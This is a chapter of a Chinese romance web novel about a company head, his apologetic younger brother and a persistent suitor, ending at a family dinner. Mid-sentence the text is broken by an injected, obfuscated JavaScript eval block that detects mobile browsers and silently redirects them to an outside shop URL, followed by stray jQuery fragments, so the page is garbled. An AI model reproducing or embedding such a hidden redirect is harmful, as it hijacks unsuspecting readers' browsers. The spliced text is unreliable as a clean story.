靳氏集团大楼,蒋寻再一次捧着花从办公区经过。
现在是休息时间,办公室的人不多,但许是蒋寻手里的花束太过扎眼,还是引起了他们的注意。
几名员工凑在一起窃窃私语。
“一个月了,送花的人还没放弃呢?”
“又不一定是同一个人送的?咱们靳总这张脸,就算去当模子,也是头牌中的头牌,多几个追求者怎么了!”
“用模子形容老板,您可真行,小心靳总听到了扣你工资。”
“得了吧,靳总从来不会管这种事情,只要不给蒋特助听到,就没事...”
讨论声戛然而止。
蒋寻不知何时出现在办公室门口,正面无表情地看着他们。
“妄议老板,妄议上司,几位中午吃的很饱?”蒋寻视线扫过聚在一块的几个人,冷冷道,“这次是休息时间,我当没听到,下不为例。”
蒋寻走后,几个已经做好挨批准备的人回过神,不可思议道:“这...这就放过我们了?”
其中盯着蒋寻离去的方向,突然开口:“这次蒋特助出来,是不是没抱花?”
“我去,还真的是!”
“靳总这次把花收下了?!”
*
与此同时,总裁办公室里,靳辞钰正对着办公桌上那捧用黄金做的玫瑰花发愁。
那日他拒绝傅迟安后,傅迟安并未死心,每日差人送来一束夹着卡片的玫瑰花。
卡片上的内容每天都不一样,有时是一句简单的问好,有时是不知从哪抄来的情诗,偶尔傅迟安心血来潮,还会在卡片的角落画上两个动物涂鸦。
往日靳辞钰会让蒋寻直接将花拿走,至于蒋寻是怎么处理的,靳辞钰并未多问。
谁料今天傅迟安就送了一束黄金花过来。
这东西贵重,还真不好让蒋寻随意处理。
放也不是,扔也不是。
要不让蒋寻送去融了,打个三足金蟾送给傅迟安?
靳辞钰盯着这金灿灿的花看了好一会儿,实在想不出什么靠谱的解决方案。
他将上面的卡片取下来,照例放进抽屉,又在书柜腾出个位置,将这束花塞了进去。
刚合上书柜的门,办公室的门便被敲响了。
靳辞钰:“进。”
蒋寻推开门,站在门外。
一个脑袋从蒋寻身后探出,刚好对上靳辞钰的视线,弱弱唤了声:“哥。”
“......”
靳予安试探性地迈出一只脚,见靳辞钰没说什么,才慢吞吞地从蒋寻身后挪了出来。
靳辞钰看向蒋寻,眼神询问他怎么回事。
后者解释:“小少爷说想见您,我让他在前台等一会,他不肯,非要和我一起上来,我拦不住。”
靳予安出生时,他们的父亲便转让了一部分靳氏的股份给他。靳予安作为靳氏的股东兼靳辞钰的弟弟,硬要来找靳辞钰,蒋寻没理由拦。
靳辞钰冲蒋寻挥了挥手,示意他先去工作。
办公室内,很快就剩下兄弟二人。
靳辞钰靠在沙发上,单手撑着下巴,视线投向靳予安,打量这个一月未见的弟弟。
靳予安还穿着校服,应当刚下课便赶了过来。他低着脑袋,两只手放在身前,手指不自觉地缠在一起。
偶尔抬头看靳辞钰一眼,对上他的视线,又快速低下头,开始玩手指,假装无事发生。
靳辞钰:“......”
以前怎么没发现靳予安小动作这么多?
见靳予安即将把自己的手指抠破,靳辞钰适时出声,问:“你找我什么事?”
“我...我是来...”太久没和靳辞钰说话,靳予安支支吾吾,似在构思话语。半晌,突然冒出一句:“哥,我想你了,想见见你。”
办公室再次陷入沉默。
靳予安闭上眼睛,不敢去看靳辞钰的表情。后者倒是没什么反应,默默给自己倒了杯茶。
面对靳予安突如其来的煽情,靳辞钰有点诧异,但不多。
这个月靳辞钰虽然没见过靳予安,但那小子最近老爱给他发消息,正常的、煽情的都有。
没他的微信,就不知从哪要到了他的工作邮箱,每天早中晚固定给他发早安、午安、晚安,还和个机器人似的,降温了提醒他穿衣服,下雨了提醒他带伞。
半夜给他发的道歉小作文,文字里倒是带着点活人气。
就是错字语病满天飞。
但想到靳予安六门加在一起不到200的总分,靳辞钰忽又觉得靳予安写出这种东西合理。
靳辞钰喝了口茶,问站在原地一动不动的人:“还有事吗?”
“有的。”靳予安从书包的夹层里小心翼翼拿出一张银行卡递给靳辞钰,“这个给你。”
见靳辞钰没接,靳予安小声解释:“我听说因为我打人的事,子公司被迫和林家续约,原料部分的支出比计划高了很多。这是我这些年存的钱,能补大概百分之80超出的部分,剩下的,等我把那几辆跑车卖了,应该能补上。”
说完,靳予安将银行卡放在桌上,手指攥紧,“哥,我真的知道错了,也会尽量弥补。你能不能原谅我?”
靳辞钰选择性地忽视靳予安后面的问题,“卡拿回去,还有,家里那几辆跑车也别卖了。你托你那些狐朋狗友办事,卖车的钱到你手里,最多剩百分之十。”
以往靳予安最讨厌靳辞钰说他的朋友,所以靳辞钰已经做好了靳予安会摔门而出的准备。
但靳予安这次只是“嗯”了一声,轻声道:“我已经和他们没联系了。”
靳辞钰怔了片刻,随即评价:“挺好的。”
两人再没什么话可说,靳予安虽然舍不得离开靳辞钰的办公室,但看见靳辞钰开始看文件,不忍打扰他工作,还是一步三回头地向门口挪动。
“等等。”
靳予安指尖触上门把手之际,靳辞钰突然叫住了他。
靳予安“刷”一下回过头,窜到靳辞钰面前,扯出一个笑脸,“哥,什么事?”
靳辞钰仍在翻着文件,未分给靳予安半分视线,“以后不要给我邮箱发消息,那是工作邮箱,不是用来聊天的。”
靳予安扬起的唇角一点点被扯平,他盯着地面,语气听起来倒有些委屈,“可是...可是我没你微信好友。哥,除了邮箱,我联系不到你。”
“...”靳辞钰抬眸,反问,“你为什么没有我的微信,你不清楚?”
靳予安当然清楚。他以前嫌靳辞钰管得多,烦人,就把靳辞钰的微信删了。
结果现在他想重新添加靳辞钰好友,却发现自己在靳辞钰的黑名单里,连好友申请都发送不了。
靳予安厚着脸皮问:“哥,可以重新加个好友吗?”
靳辞钰沉默片刻,道:“看你表现。”
他顿了顿,“如果你下次月考总分能进步100分,我就考虑把你的微信加回来。”
靳予安眸子瞬间亮了。
“真的?”
“嗯。”
得到肯定,靳予安张开双臂,作势要抱靳辞钰。靳辞钰不适应与人近距离接触,下意识后仰,避开靳予安的拥抱。
许是意识到自己过于激动,靳予安收回手,说了句“哥,等我好消息”,便背着书包蹦出了办公室。
待靳予安离开后,蒋寻才走进办公室:“给老傅总订的礼物到了,现在去取吗?”
靳辞钰放下文件:“走吧。”
蒋寻瞥到文件的名字,有些诧异,“靳总你早上不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735510|209042||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是这项目书写得太烂了,看得心烦吗?怎么...”
“没看完,顺手就看了。”
其实是和靳予安独处有些尴尬,靳辞钰得找些事做做。
怕蒋寻猜到自己翻文件的真实目的,靳辞钰轻咳两声,转移话题:“该走了。”
*
取完礼物,靳辞钰让蒋寻提早下班,他自己则去了傅家老宅。
老傅总对他和傅玦的联姻格外重视,知道他来,亲自在大厅迎接他。
靳辞钰打招呼:“傅伯伯。”
“辞钰。”老傅总笑盈盈上前,“你说你,来就来了,带什么礼物呢?我又不缺什么。”
靳辞钰将礼物递给老傅总,问:“傅玦呢?不在家吗?”
听靳辞钰提傅玦,老傅总脸上的笑意更甚。
“那小子在楼上弹琴呢,好像在准备新专辑?二十多岁的人,成天搞些乱七八糟的东西。”老傅总叹了口气,“小玦要是能和他哥学学,就好了。”
提到傅迟安,靳辞钰眉心微跳。他状似不经意问:“我最近刚好刷到傅总回国的报道,怎么没看到他?”
“他啊?他不住这,也不常来这。只逢年过节回老宅看看他爷爷。”
闻言,靳辞钰松了口气。幸好,不会在这遇到傅迟安。
靳辞钰和老傅总一路聊到了餐厅。傅玦刚刚被老傅总派去的人叫下来,坐在餐桌旁,浑身上下写着“抗拒”二字。
见到靳辞钰,傅玦毫不掩饰地皱起眉头,语气不善:“你又来做什么?我不会和你结婚的。”
靳辞钰笑了笑:“我来看望傅伯伯。”
傅玦一拳打在棉花上,想发作又找不到理由,只得找个离靳辞钰最远的地方坐下,愤恨地往自己碗里夹菜。
靳辞钰装作没看到傅玦的小动作,仍笑着和老傅总聊天。
他知道傅玦不喜欢他,同样,他对傅珏也无感。
今日来傅家,靳辞钰并非为了傅玦增进感情,而是为了讨老傅总欢心。毕竟,靳傅两家是否联姻,他可以决定,老傅总可以决定,唯独傅玦不能决定。
“老爷!”
几人吃到一半,佣人匆匆忙忙跑进了餐厅,“大少爷回来了。”
傅家的大少爷,自然是傅迟安。
靳辞钰在心中叹了口气。
真是怕什么,来什么。
老傅总闻言愣了会,下意识瞥了靳辞钰一眼。
后者正在想等会该怎么应付傅迟安,并未注意到他的视线。
老傅总对佣人道:“那愣着做什么,还不快把大少爷请进来?”
“不用请,我已经到了。”傅迟安站在餐厅门边,视线扫过房间里的几个人,最后准确无误地落到靳辞钰身上,笑道,“看来今天家里有客人,不介绍一下?”
不等老傅总开口,傅迟安便主动走到靳辞钰跟前,向他伸出手:
“你好,傅迟安。”
“靳辞钰。”
靳辞钰配合地握住了傅迟安的手,却很快收回。
未等傅迟安反应过来,指尖那抹温热便已散去。
他慢吞吞地收回悬在半空的手,问主座上的老傅总,“我坐哪?”
傅玦:“这么多位置,爱坐哪坐哪,坐吊灯上都行。”
他心情不好,见到谁都想怼两句。
“你这孩子,怎么说话呢。”老傅总笑着斥了傅玦一句,对傅迟安道,“迟安,桌子大,你随便找个位置坐,要不就和你弟弟......”坐一块。
“我就坐这吧。”
未等老傅总说完话,傅迟安已拉开靳辞钰身边的椅子。
但他并未坐下,而是看向靳辞钰:“可以吗,靳总。”
那到目光有些炙热,靳辞钰避开他的视线,“...傅总随意。”